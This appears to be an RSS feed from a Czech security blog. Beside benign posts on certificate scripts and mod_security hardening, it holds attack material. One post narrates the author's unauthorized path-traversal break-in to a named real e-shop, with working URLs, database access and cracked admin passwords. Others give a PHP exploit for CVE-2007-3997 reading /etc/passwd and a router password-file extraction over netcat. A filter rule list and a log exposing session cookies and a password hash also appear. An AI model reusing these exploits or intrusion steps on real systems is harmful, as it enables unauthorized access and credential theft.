<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Hodžův blog &#187; Bezpečnost</title>
	<atom:link href="http://hodza.net/category/linux/bezpecnost/feed/" rel="self" type="application/rss+xml" />
	<link>http://hodza.net</link>
	<description>I přestože jsem paranoidní neznamená, že mě nedostanou...</description>
	<lastBuildDate>Wed, 08 Sep 2010 11:37:28 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Generování Self-Signed Certifikátu skriptem</title>
		<link>http://hodza.net/2009/06/09/generovani-self-signed-certifikatu-skriptem/</link>
		<comments>http://hodza.net/2009/06/09/generovani-self-signed-certifikatu-skriptem/#comments</comments>
		<pubDate>Tue, 09 Jun 2009 07:23:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Apache]]></category>
		<category><![CDATA[Bezpečnost]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Scriptíky]]></category>

		<guid isPermaLink="false">http://hodza.net/?p=245</guid>
		<description><![CDATA[Už mě to nebaví pořád psát, takže: #!/bin/bash SERVER_NAME=$1 OPENSSL_PATH=/usr/bin/openssl $OPENSSL_PATH genrsa -des3 -out $SERVER_NAME.key 1024 $OPENSSL_PATH genrsa -out $SERVER_NAME.key 1024 $OPENSSL_PATH rsa -in $SERVER_NAME.key -out $SERVER_NAME.pem $OPENSSL_PATH req -new -key $SERVER_NAME.pem -out $SERVER_NAME.csr $OPENSSL_PATH x509 -req -days 365 -in $SERVER_NAME.csr -signkey $SERVER_NAME.pem -out $SERVER_NAME.crt]]></description>
			<content:encoded><![CDATA[<p>Už mě to nebaví pořád psát, takže:</p>
<p><code>#!/bin/bash<br />
SERVER_NAME=$1<br />
OPENSSL_PATH=/usr/bin/openssl<br />
$OPENSSL_PATH genrsa -des3 -out $SERVER_NAME.key 1024<br />
$OPENSSL_PATH genrsa -out $SERVER_NAME.key 1024<br />
$OPENSSL_PATH rsa -in $SERVER_NAME.key -out $SERVER_NAME.pem<br />
$OPENSSL_PATH req -new -key $SERVER_NAME.pem -out $SERVER_NAME.csr<br />
$OPENSSL_PATH x509 -req -days 365 -in $SERVER_NAME.csr -signkey $SERVER_NAME.pem -out $SERVER_NAME.crt<br />
</code></p>
]]></content:encoded>
			<wfw:commentRss>http://hodza.net/2009/06/09/generovani-self-signed-certifikatu-skriptem/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>České eshopy &#8222;rozdávají&#8220; Vaše data</title>
		<link>http://hodza.net/2008/03/17/ceske-eshopy-rozdavaji-vase-data/</link>
		<comments>http://hodza.net/2008/03/17/ceske-eshopy-rozdavaji-vase-data/#comments</comments>
		<pubDate>Mon, 17 Mar 2008 11:17:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Bezpečnost]]></category>
		<category><![CDATA[Hack/Crack]]></category>

		<guid isPermaLink="false">http://hodza.net/2008/03/17/ceske-eshopy-rozdavaji-vase-data/</guid>
		<description><![CDATA[Nakupování v eshopech se u nás stalo celkem běžnou záležitostí. Není se také čemu divit &#8211; ceny bývají oproti kamenným obchodům většinou nesrovnatelné (nesrovnatelně nízké). Zboží si můžeme interaktivně prohlédnout v teple domova, zaplatit převodem přes internet, nechat doručit dobírkou a když se nám nelíbí tak ho zase vrátit. Možná to zní jako pohádka, ale [...]]]></description>
			<content:encoded><![CDATA[<p>Nakupování v eshopech se u nás stalo celkem běžnou záležitostí. Není se také čemu divit &#8211; ceny bývají oproti kamenným obchodům většinou nesrovnatelné (nesrovnatelně nízké). Zboží si můžeme interaktivně prohlédnout v teple domova, zaplatit převodem přes internet, nechat doručit dobírkou a když se nám nelíbí tak ho zase vrátit. Možná to zní jako pohádka, ale to neznamená, že náš příběh bude mít dobrý konec&#8230;<br />
<span id="more-116"></span><br />
Málo kdo si totiž uvědomuje, že se současným vyplněním objednávky v eshopu zanechává svůj &#8222;otisk&#8220;. Eshopy obvykle shromažďují data nezbytně nutná (jako je jméno, adresa či telefon). Nebývá ale vy jímkou, když si uloží také údaje mnohem citlivější &#8211; jako jsou například informace o vaší platební kartě.</p>
<p>V tom lepším případě, by při nabourání obchodu &#8222;hackerem&#8220;, mohlo vyjít najevo, že si každý měsíc po výplatě objednáváte nějakou sprosťárničku v sexshopu. V horším případě útočník zjistí i heslo a bude si tak moct číst vaši soukromou poštu s přítelkyní/milenkou/manželkou neboť do emailu zadáváte stejné heslo jako do eshopu. Pokud chcete slyšet hororové scénáře, pak věřte, že není problém využít uložených informací o vaší kartě a objednat si tak jakékoliv zboží, které ve výsledku ovšem nezaplatí útočník, ale vy z vaší karty.</p>
<p>Stále si myslíte, že se vám to nemůže stát neboť nakupujete pouze v renomovaných a velkých eshopech? Chyba!</p>
<p>Před před více jak týdnem jsem zcela náhodou objevil na stránkách jednoho z největších českých prodejců outdoorového vybavení &#8211; firmy Rock point zcela zásadní (a naprosto školáckou) bezpečnostní chybu. Ihned jsem prodejce emailově kontaktoval a problém mu nastínil. Bohužel do dnešního dne jsem neobdržel odpověď a chyba je stále neopravená.</p>
<p>O co jde?</p>
<p>Při hledání dokumentace k jednomu z výrobků jsem narazil na následující odkaz:</p>
<p><a href="http://www.rockpoint.cz/download.php?soubor=soubory/seznam_odberatelu_NET.xls" title="http://www.rockpoint.cz/download.php?soubor=soubory/seznam_odberatelu_NET.xls">http://www.rockpoint.cz/download.php?soubor=soubory/seznam_odberatelu_NET.xls</a></p>
<p>Nebývá zrovna zvykem, že by prodejce uveřejňoval seznam svých odběratelů. To ve mě vyvolalo pocit, že tato stránka měla být před zraky zákazníků ukryta. Začal jsem přemýšlet, co by se stalo, kdybych zadal jako parametr jiný soubor než je seznam_odberatelu_NET.xls. Po chvíli jsem tedy do adresního řádku zadal následující adresu:</p>
<p><a href="http://www.rockpoint.cz/download.php?soubor=soubory/../index.php" title="http://www.rockpoint.cz/download.php?soubor=soubory/../index.php">http://www.rockpoint.cz/download.php?soubor=soubory/../index.php</a></p>
<p>Při čemž &#8222;index.php&#8220; bývá &#8222;startovací stránkou&#8220; webu a řetězec &#8222;../&#8220; značí, že se jedná o nadřazený adresář.<br />
To co se stalo mi téměř vyrazilo dech. Zobrazila se mi totiž opravdu zdrojová stránka souboru index.php. Opravdu bych nečekal, že u tak velkého prodejce narazím na tak kritickou chybu.</p>
<p>Ze zvědavosti jsem stejným způsobem procházel všechny ostatní soubory na serveru, až jsem došel k následujícímu:</p>
<p><a href="http://www.rockpoint.cz/download.php?soubor=inc/conf_databaze.php" title="http://www.rockpoint.cz/download.php?soubor=inc/conf_databaze.php">http://www.rockpoint.cz/download.php?soubor=inc/conf_databaze.php</a></p>
<p>Tento soubor (jak je již patrné z názvu) obsahuje data potřebná pro připojení k My SQL databázi.<br />
Tím ovšem má zvědavost neskončila. Rozhodl jsem se výsledek ověřit.</p>
<p>V konfiguračním souboru je uveden jako My SQL host &#8222;uvdb4.globe.cz&#8220;. Vzdálený přístup k této databázi sice není povolen, ale to mě nemohlo odradit. Po chvíli hledání jsem zjistil, že se jedná o server, který je provozován v rámci hostingu Active 24. Na stejnojmenných stránkách jsem pak v sekci podpora našel odkaz k PHPMyAdminovi, který umožňuje spravovat My SQL databáze pomocí web prohlížeče. Kliknul jsem na link a zadal přihlašovací údaje. Nemohlo následovat nic jiného, než úspěšné přihlášení. Přede mnou byl kompletní seznam všech výrobků, uživatelů, objednávek a seznamů prodejen. V podstatě bych v této chvíli mohl eshop plně ovládnout, ale mě zajímala poslední neprozkoumaná věc &#8211; administrativní sekce obchodu.</p>
<p>Administrační sekci nebylo zase tak těžké najít. Kupodivu se nacházela na url:</p>
<p><a href="http://www.rockpoint.cz/admin/" title="http://www.rockpoint.cz/admin/">http://www.rockpoint.cz/admin/</a></p>
<p>Nahlédl jsem zpět do tabulky administrátorů, abych zjistil přihlašovací jméno a heslo. Zde byla alespoň nějaká snaha o zabezpečení &#8211; heslo bylo zakódováno pomocí algoritmu MD5. Bohužel tento algoritmus je už dnes &#8222;překonaný&#8220;. Heslo prvního administrátora jsem tak &#8222;rozlouskl&#8220; díky jeho jednoduchosti přes jednu z online HASH databází. Heslo druhého administrátora bylo sice složitější, ovšem pod útokem rainbow tabulek bylo  později prolomeno také. Oba účty jsem ještě otestoval &#8211; byly funkční. Tím má &#8222;práce&#8220; skončila.</p>
<p>Výše uvedený text nenabádá k zneužití popsané chyby. Text byl sepsán z důvodu laxního přístupu administrátorů danných stránek.</p>
]]></content:encoded>
			<wfw:commentRss>http://hodza.net/2008/03/17/ceske-eshopy-rozdavaji-vase-data/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Chráněno: Hacked gallery &#8211; 11.3.2008</title>
		<link>http://hodza.net/2008/03/11/hacked-gallery-1132008/</link>
		<comments>http://hodza.net/2008/03/11/hacked-gallery-1132008/#comments</comments>
		<pubDate>Tue, 11 Mar 2008 10:46:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Bezpečnost]]></category>
		<category><![CDATA[Hack/Crack]]></category>

		<guid isPermaLink="false">http://hodza.net/2008/03/11/hacked-gallery-1132008/</guid>
		<description><![CDATA[Stručný obsah příspěvku zde není uveden, protože je tento příspěvek chráněn heslem.]]></description>
			<content:encoded><![CDATA[<form action="http://hodza.net/wp-pass.php" method="post">
<p>Tento příspěvek je chráněn heslem. Pokud ho chcete zobrazit, zadejte prosím heslo:</p>
<p><label for="pwbox-106">Heslo:<br />
<input name="post_password" id="pwbox-106" type="password" size="20" /></label><br />
<input type="submit" name="Submit" value="Potvrdit" /></p></form>
]]></content:encoded>
			<wfw:commentRss>http://hodza.net/2008/03/11/hacked-gallery-1132008/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Chráněno: Hacked gallery &#8211; 7.3.2008</title>
		<link>http://hodza.net/2008/03/07/hacked-gallery/</link>
		<comments>http://hodza.net/2008/03/07/hacked-gallery/#comments</comments>
		<pubDate>Fri, 07 Mar 2008 08:28:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Bezpečnost]]></category>
		<category><![CDATA[Hack/Crack]]></category>

		<guid isPermaLink="false">http://hodza.net/2008/03/07/hacked-gallery/</guid>
		<description><![CDATA[Stručný obsah příspěvku zde není uveden, protože je tento příspěvek chráněn heslem.]]></description>
			<content:encoded><![CDATA[<form action="http://hodza.net/wp-pass.php" method="post">
<p>Tento příspěvek je chráněn heslem. Pokud ho chcete zobrazit, zadejte prosím heslo:</p>
<p><label for="pwbox-81">Heslo:<br />
<input name="post_password" id="pwbox-81" type="password" size="20" /></label><br />
<input type="submit" name="Submit" value="Potvrdit" /></p></form>
]]></content:encoded>
			<wfw:commentRss>http://hodza.net/2008/03/07/hacked-gallery/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mikrotik password recovery aneb zapomenuté heslo &#8211; žádný problém</title>
		<link>http://hodza.net/2008/02/13/mikrotik-password-recovery-aneb-zapomenute-heslo-zadny-problem/</link>
		<comments>http://hodza.net/2008/02/13/mikrotik-password-recovery-aneb-zapomenute-heslo-zadny-problem/#comments</comments>
		<pubDate>Wed, 13 Feb 2008 11:43:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Bezpečnost]]></category>
		<category><![CDATA[Distribuce]]></category>
		<category><![CDATA[Hack/Crack]]></category>
		<category><![CDATA[Hardware]]></category>
		<category><![CDATA[Mikrotik]]></category>

		<guid isPermaLink="false">http://hodza.net/2008/02/13/mikrotik-password-recovery-aneb-zapomenute-heslo-zadny-problem/</guid>
		<description><![CDATA[Přináším Vám postup, jak se lehce z Kubuntu Linuxu dostaneme k zapomenutému heslu na routerboardu se systémem Mikrotik. 1. Zapojíme USB-&#62;COM redukci. U mě se redukce namapuje na ttyUSB0 &#8211; viz hláška z dmesg [ 8446.216000] usb 1-1: pl2303 converter now attached to ttyUSB0 2. Nainstalujeme TFTP server # sudo apt-get install atftpd 3. Opravíme [...]]]></description>
			<content:encoded><![CDATA[<p>Přináším Vám postup, jak se lehce z Kubuntu Linuxu dostaneme k zapomenutému heslu na routerboardu se systémem Mikrotik.</p>
<p>1. Zapojíme USB-&gt;COM redukci. U mě se redukce namapuje na ttyUSB0 &#8211; viz hláška z dmesg</p>
<p><code>[ 8446.216000] usb 1-1: pl2303 converter now attached to ttyUSB0</code></p>
<p>2. Nainstalujeme TFTP server<br />
<code># sudo apt-get install atftpd</code></p>
<p><span id="more-80"></span></p>
<p>3. Opravíme konfiguraci démona xinet přidáním parametru &#8222;-inetd_compat&#8220;<br />
<code># sudo vi /etc/default/xinetd</code><br />
<code>XINETD_OPTS="-stayalive -inetd_compat"</code></p>
<p>4. Nahrajeme alternativní kernel s podporou yaffs2 do adresáře /tftpboot</p>
<p>5. Nainstalujeme DHCP server<br />
<code># sudo apt-get install dhcp3-server</code></p>
<p>6. Nastavíme parametry DHCP serveru<br />
<code># sudo vi /etc/dhcp3/dhcpd.conf</code><br />
<code>default-lease-time 21600;<br />
max-lease-time 43200;<br />
option domain-name-servers 10.0.0.1;<br />
option netbios-name-servers 10.0.0.1;<br />
option netbios-node-type 8;<br />
option www-server 10.0.0.1;<br />
authoritative;<br />
allow booting;<br />
allow bootp;</code></p>
<p><code>subnet 10.0.0.0 netmask 255.255.255.0<br />
{<br />
option routers 10.0.0.1;<br />
option subnet-mask 255.255.255.0;<br />
option broadcast-address 10.0.0.255;<br />
filename "/tftpboot/linuxrc";<br />
range 10.0.0.10 10.0.0.100;<br />
}</code></p>
<p>7. Nastavíme IP adresu na našem síťovém rozhraní, spustíme DHCP a TFTP server<br />
<code>sudo ifconfig eth0 down<br />
sudo ifconfig eth0 10.0.0.1 up<br />
sudo /etc/init.d/xinetd restart<br />
sudo /etc/init.d/dhcp3-server start</code></p>
<p>8. Spustíme konfiguraci minicomu<br />
<code># minimcom -s</code></p>
<p>Vybereme položku &#8222;Nastavení sériového portu&#8220; a nastavíme následující parametry:</p>
<p><code>A - Sériové zařízení           : /dev/ttyUSB0<br />
B - Umístění zámku             : /var/lock<br />
C - Program pro příchozí volání:<br />
D - Program pro odchozí volání :<br />
E - Bps/Par/Bity               : 115200 8N1<br />
F - Hardwarová kontrola toku   : Ano<br />
G - Softwarová kontrola toku   : Ne</code></p>
<p>Připojíme kabel do Mikrotiku<br />
Mělo by se zobrazit:<br />
<code>MikroTik 2.9.46<br />
MikroTik Login:</code></p>
<p>Rebootujeme Mikrotik</p>
<p>Zobrazí se:<br />
<code>RouterBOOT booter 2.10<br />
RouterBoard 532A<br />
CPU frequency: 399 MHz<br />
Memory size:  64 MB<br />
Press any key within 2 seconds to enter setup.</code></p>
<p>Zmáčkneme libovolnou klávesu dříve, než vyprší interval.</p>
<p>Zobrazí se:<br />
<code>RouterBOOT-2.10<br />
What do you want to configure?<br />
d - boot delay<br />
k - boot key<br />
s - serial console<br />
o - boot device<br />
u - cpu mode<br />
f - try cpu frequency<br />
c - keep cpu frequency<br />
r - reset configuration<br />
e - format nand<br />
g - upgrade firmware<br />
i - board info<br />
p - boot protocol<br />
t - do memory testing<br />
x - exit setup<br />
your choice:</code></p>
<p>Vyberme &#8222;o&#8220; pro volbu &#8222;boot device&#8220;.</p>
<p>Zobrazí se:<br />
<code>Select boot device:<br />
e - boot over Ethernet<br />
* n - boot from NAND, if fail then Ethernet<br />
c - boot from CompactFlash only<br />
1 - boot Ethernet once, then NAND<br />
2 - boot Ethernet once, then CompactFlash<br />
o - boot from NAND only<br />
b - boot chosen device<br />
your choice:</code></p>
<p>Vybereme &#8222;1&#8243; pro boot z Ethernetu (a následně NAND)</p>
<p>Zobrazí se:<br />
<code>RouterBOOT-2.10<br />
What do you want to configure?<br />
d - boot delay<br />
k - boot key<br />
s - serial console<br />
o - boot device<br />
u - cpu mode<br />
f - try cpu frequency<br />
c - keep cpu frequency<br />
r - reset configuration<br />
e - format nand<br />
g - upgrade firmware<br />
i - board info<br />
p - boot protocol<br />
t - do memory testing<br />
x - exit setup<br />
your choice:</code></p>
<p>Vybereme &#8222;p&#8220; pro &#8222;boot protocol&#8220;.</p>
<p>Zobrazí se:<br />
<code>Choose which boot protocol to use:<br />
1 - bootp protocol<br />
* 2 - dhcp protocol<br />
your choice:</code></p>
<p>Vybereme &#8222;2&#8243; pro &#8222;dhcp&#8220; protocol&#8220;</p>
<p>Zobrazí se nám opět úvodní menu<br />
<code>What do you want to configure?<br />
d - boot delay<br />
k - boot key<br />
s - serial console<br />
o - boot device<br />
u - cpu mode<br />
f - try cpu frequency<br />
c - keep cpu frequency<br />
r - reset configuration<br />
e - format nand<br />
g - upgrade firmware<br />
i - board info<br />
p - boot protocol<br />
t - do memory testing<br />
x - exit setup<br />
your choice:</code></p>
<p>Vybereme &#8222;x&#8220; pro uložení a opuštění setupu. Mikrotik se znovu rebootuje.</p>
<p>Nyní by se měl načíst nový kernel &#8211; v mém případě z opravené distribuce OpenWrt<br />
<code>BusyBox v1.4.2 (2008-01-15 11:43:12 CET) Built-in shell (ash)<br />
Enter 'help' for a list of built-in commands.<br />
_______                     ________        __<br />
|       |.-----.-----.-----.|  |  |  |.----.|  |_<br />
|   -   ||  _  |  -__|     ||  |  |  ||   _||   _|<br />
|_______||   __|_____|__|__||________||__|  |____|<br />
|__| W I R E L E S S   F R E E D O M<br />
KAMIKAZE (7.09) -----------------------------------<br />
* 10 oz Vodka       Shake well with ice and strain<br />
* 10 oz Triple sec  mixture into 10 shot glasses.<br />
* 10 oz lime juice  Salute!<br />
---------------------------------------------------<br />
root@OpenWrt:/#</code></p>
<p>Vypíšeme si jednotlivé blokové zařízení<br />
<code>#cat /proc/mtd</code><br />
<code>dev:    size   erasesize  name<br />
mtd0: 00400000 00004000 "RouterBoard NAND Boot"<br />
mtd1: 03c00000 00004000 "RouterBoard NAND Main"</code></p>
<p>Připojíme filesystém na kterém jsou uložena hesla<br />
<code># mount -t yaffs2 -o ro /dev/mtdblock1 /mnt</code></p>
<p>Na PC si spustíme netcat s následujícími parametry<br />
<code>sudo /bin/netcat -l -p 666 &gt; user.dat</code></p>
<p>Na mikrotiku zobrazíme soubor s hesly a přes netcat ho pošleme do PC<br />
<code>cat /mnt/nova/store/user.dat|nc 10.0.0.1 666</code></p>
<p>Na PX spustíme nástroj na lámání hesel<br />
<code># ./mtpass user.dat</code><br />
<code>mtpass v0.2 - MikroTik RouterOS password recovery tool<br />
Reading file user.dat, 213 bytes long<br />
Rec# | Username        | Password           | Disable flag   | User comment<br />
--------------------------------------------------------------------------------------------<br />
1    | admin           | mojeheslo          |                | system default user</code></p>
<p>Návod vychází z informací na stránkách <a title="Mikrotik password recovery" href="http://manio.skyboo.net/mikrotik/">http://manio.skyboo.net/mikrotik/</a><br />
Autor neručí za případné škody při použití tohoto návodu.</p>
]]></content:encoded>
			<wfw:commentRss>http://hodza.net/2008/02/13/mikrotik-password-recovery-aneb-zapomenute-heslo-zadny-problem/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>PHP</title>
		<link>http://hodza.net/2007/10/15/php/</link>
		<comments>http://hodza.net/2007/10/15/php/#comments</comments>
		<pubDate>Mon, 15 Oct 2007 11:10:05 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Bezpečnost]]></category>
		<category><![CDATA[Hack/Crack]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[MySQL]]></category>

		<guid isPermaLink="false">http://hodza.net/?p=23</guid>
		<description><![CDATA[První díl, ze &#8222;seriálu o bezpečnosti&#8220;, aneb tuníme náš server&#8230; Vztahuje se k: &#60; = PHP 5.2.3 &#60;= PHP 4.4.7 CVE: CVE-2007-3997 Problém: Díky rozšířením MySQL a MySQLi v PHP lze obejít bezpečnostní politiku safe_mode. Detail: Pomocí funkce MySQL LOCAL INFILE lze získat libovolný soubor ze systému. Řešení: 1) Kompilovat MySQL klienta s parametrem &#8222;&#8211;disable-local-infile&#8220; [...]]]></description>
			<content:encoded><![CDATA[<p>První díl, ze &#8222;seriálu o bezpečnosti&#8220;, aneb tuníme náš server&#8230;</p>
<p><span id="more-23"></span></p>
<p><strong>Vztahuje se k:</strong><br />
&lt; = PHP 5.2.3<br />
&lt;= PHP 4.4.7</p>
<p><strong>CVE:</strong><br />
CVE-2007-3997</p>
<p><strong>Problém:</strong><br />
Díky rozšířením MySQL a MySQLi v PHP lze obejít bezpečnostní politiku safe_mode.</p>
<p><strong>Detail:</strong><br />
Pomocí funkce MySQL LOCAL INFILE lze získat libovolný soubor ze systému.</p>
<p><strong>Řešení:</strong><br />
1) Kompilovat MySQL klienta s parametrem &#8222;&#8211;disable-local-infile&#8220;<br />
- nepomůže při použití MySQLi, neboť volba se dá znovu povolit příkazem &#8222;mysqli-&gt;options(MYSQLI_OPT_LOCAL_INFILE, 1);&#8220;<br />
2) Do konfiguračního souboru (/etc/mysql/my.cnf) vložit (do sekce [mysqld]) &#8222;set-variable=local-infile=0&#8243;.</p>
<p><strong>Exploit:</strong><br />
function r($fp, &amp;$buf, $len, &amp;$err) {print fread($fp, $len);}<br />
$m = new mysqli(&#8216;localhost&#8217;, &#8216;aaaa&#8217;, &#8220;, &#8216;a&#8217;);<br />
$m-&gt;options(MYSQLI_OPT_LOCAL_INFILE, 1);<br />
$m-&gt;set_local_infile_handler(&#8222;r&#8220;);<br />
$m-&gt;query(&#8222;LOAD DATA LOCAL INFILE &#8216;/etc/passwd&#8217; INTO TABLE a.a&#8220;);<br />
$m-&gt;close();</p>
]]></content:encoded>
			<wfw:commentRss>http://hodza.net/2007/10/15/php/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Apache mod-security</title>
		<link>http://hodza.net/2007/03/21/apache-mod-security/</link>
		<comments>http://hodza.net/2007/03/21/apache-mod-security/#comments</comments>
		<pubDate>Wed, 21 Mar 2007 10:46:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Apache]]></category>
		<category><![CDATA[Bezpečnost]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://hodza.net/?p=52</guid>
		<description><![CDATA[Několikrát jsem měl bohužel tu &#8222;čest&#8220; nahlédnout do zdrojových kódů webových stránek našich klientů a teda řeknu Vám fuj&#8230; Troufám si říct, že bych byl schopný během několika málo vteřin vymyslet alespoň 10 XSS útoků. Vzhledem k tomu, že tato firma u nás hostuje více jak 300 různých portálů, bylo mi jasné, že oprava všech [...]]]></description>
			<content:encoded><![CDATA[<p>Několikrát jsem měl bohužel tu &#8222;čest&#8220; nahlédnout do zdrojových kódů webových stránek našich klientů a teda řeknu Vám fuj&#8230; Troufám si říct, že bych byl schopný během několika málo vteřin vymyslet alespoň 10 XSS útoků. Vzhledem k tomu, že tato firma u nás hostuje více jak 300 různých portálů, bylo mi jasné, že oprava všech php scriptů je nemožná a tak jsem přemýšlel, jak jim alespoň trochu pomoci s bezpečností z mé strany.<span id="more-52"></span></p>
<p>Původně jsem zamýšlel použít globalní .htaccess a vněm mod_rewrite. Chtěl jsem parsovat veškeré požadavky na jednotlivé portály a sanitizovat je. Ačkoliv se toto řešení jevilo jako správné, v praxi jsem od něj musel upustit a najít řešení lepší. Oprášil jsem tak své záložky v prohlížeči a narazil na mod_security do Apache. Něco málo jsem o něm slyšel a už dlouho jsem ho chtěl vyzkoušet &#8211; teď k tomu byla velice vhodná příležitost.</p>
<p><strong>Instalace na debianu byla více než snadná:</strong></p>
<p># 1. Nejprve jsem nainstaloval samotný modul<br />
<code>apt-get install libapache2-mod-security</code></p>
<p># 2. Následně jsem jej povolili ke spuštění v Apache<br />
<code>a2enmod mod-security</code></p>
<p># 3. Nechtěl jsem vymýšlet celou konfiguraci z hlavy a tak jsem si zkopíroval vzorovou<br />
<code>cp /usr/share/doc/libapache2-mod-security/examples/httpd2.conf.example-full /etc/apache2/conf.d/mod_security.conf</code></p>
<p># 4. A tu jsem si upravil<br />
<code>vi /etc/apache2/conf.d/mod_security.conf</code><br />
<code><ifmodule><br />
SecFilterEngine On<br />
SecFilterCheckURLEncoding On<br />
SecFilterCheckUnicodeEncoding Off<br />
SecFilterForceByteRange 0 255<br />
SecAuditEngine RelevantOnly<br />
SecAuditLog /var/log/apache2/audit_log<br />
SecFilterDebugLog /var/log/apache2/modsec_debug_log<br />
SecFilterDebugLevel 0<br />
SecFilterScanPOST On<br />
SecFilterDefaultAction "deny,log,status:500"<br />
SecFilter /etc/[0-9a-z]<br />
SecFilter /bin/[0-9a-z]<br />
SecFilter /usr/[0-9a-z]<br />
SecFilter /usr/bin/[0-9a-z]<br />
SecFilter /tmp/[0-9a-z]<br />
SecFilter cd\x20/tmp<br />
SecFilter wget\x20<br />
SecFilter "delete[[:space:]]+from"<br />
SecFilter "insert[[:space:]]+into"<br />
SecFilter "select.+from"<br />
SecFilter "&lt; [[:space:]]*script"<br />
#SecFilter "&lt;(.|\n)+&gt;"<br />
</ifmodule></code></p>
<p># 6. Následoval reload Apache serveru<br />
<code>/etc/init.d/apache2 force-reload</code></p>
<p><strong>Co to všechno umí?</strong><br />
Mod_security nám vyčistí veškeré požadavky (jak GEt tak i POST) od zbytečných dvojitých lomítek (//), odkazů na sebe sama (./), dokáže zaměnit &#8222;\&#8220; za &#8222;/&#8220;, přehodí %00 za obyčejnou mezeru kontroluje validitu a bytovou přesnost požadavku, dokáže vyhodnotit požadavek na základě regexpů.</p>
<p>Na základě detekce &#8222;řetezce&#8220; je pak podle konfiguračního souboru (SecFilterDefaultAction) schopný vytvořit i několik akcí mezi něž patří:<br />
deny &#8211; zakáže požadavek<br />
allow &#8211; zastaví kontrolu pravidel a povolí request<br />
status:xxx, &#8211; odpoví s HTTP statusem xxx<br />
redirect:url, &#8211; přesměruje požadavek na danou (absolutní) adresu<br />
exec:cmd &#8211; vykoná příkaz cmd (vhodné s nějakým odesílátkem emailů)<br />
log &#8211; uloží request s detaily do logu<br />
nolog &#8211; neukládá request do logu<br />
pass &#8211; ignoruje toto pravidlo a pokračuje v dalších pravidlech<br />
pause:xxx &#8211; pozdrží request o xxx milisekund (pozor at neprovedete DoS útok na sebe sami)<br />
chain &#8211; skočí na další pravidlo v chainu<br />
skipnext:n, přskočí n pravidel</p>
<p><strong>Regexpové filtry</strong><br />
Asi nejjednodušším filtrem v mod_security je zadání SecFilter.<br />
V konfiguračním souboru apache/mod_security máme:<br />
<code>SecFilterEngine On<br />
SecFilterCheckURLEncoding On<br />
SecFilterCheckUnicodeEncoding Off<br />
SecAuditEngine RelevantOnly<br />
SecAuditLog /var/log/apache2/audit_log<br />
SecFilterDebugLog /var/log/apache2/modsec_debug_log<br />
SecFilterScanPOST On<br />
SecFilterDefaultAction "deny,log,status:500"<br />
SecFilter /etc/passwd</code></p>
<p>Jakmile do prohlížeče zadáme adresu například <a href="http://hodza.net/test.php?shell=/etc/passwd">http://hodza.net/test.php?shell=/etc/passwd</a>, vyhodí nám prohlížeč chybu 500 a  do /var/log/apache2/audit_log zapíše následující:</p>
<p><code>HTTP/1.1 500 Internal Server Error<br />
X-Powered-By: PHP/4.3.10-19<br />
Content-Length: 2166<br />
Connection: close<br />
Content-Type: text/html<br />
========================================<br />
Request: 85.160.65.12 - - [21/Mar/2007:11:23:55 +0100] "GET /test.php?shell=/etc/passwd HTTP/1.1" 500 2157<br />
Handler: (null)<br />
----------------------------------------<br />
GET /test.php?shell=/etc/passwd HTTP/1.1<br />
Host: hodza.net<br />
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11<br />
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5<br />
Accept-Language: en-us,en;q=0.5<br />
Accept-Encoding: gzip,deflate<br />
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7<br />
Keep-Alive: 300<br />
Connection: keep-alive<br />
Cookie: IMAIL_SESS_KEY_1174461441-18654=LIuOFNUhDI3vlqgL; IMAIL_SESS_KEY_1174458493-41266=6pdFfVCoIZlnTdz2; IMAIL_SESS_KEY_1174458956-45632=22MSPZFhVgcl4HBF; wpthemefd01865e503f46c67c4df25a7c0983da=Magellan; IMAIL_SESS_KEY_1174458444-78097=yICVpRLlelQ7b4WR; IMAIL_TEST_COOKIE=test; PHPSESSID=4968f3ea1b79953b8e1e20febf5c3bfd; phpMyAdmin=d44d6e2f64ccd35352989d45c30a9b90; wordpressuser_fd01865e503f46c67c4df25a7c0983da=admin; wordpresspass_fd01865e503f46c67c4df25a7c0983da=2fb3192c5df98faf13d864c4a3b1fd06; dbx-postmeta=grabit:0+|1-|2-|3-|4-|5-&amp;advancedstuff:0-|1-|2-<br />
mod_security-message: Access denied with code 500. Pattern match "/etc/passwd" at THE_REQUEST<br />
mod_security-action: 500<br />
HTTP/1.1 500 Internal Server Error<br />
X-Powered-By: PHP/4.3.10-19<br />
Content-Length: 2157<br />
Connection: close<br />
Content-Type: text/html</code></p>
<p><strong>Jak vidíte &#8211; krásné, jednoduché účinné a spolehlivé.</strong><br />
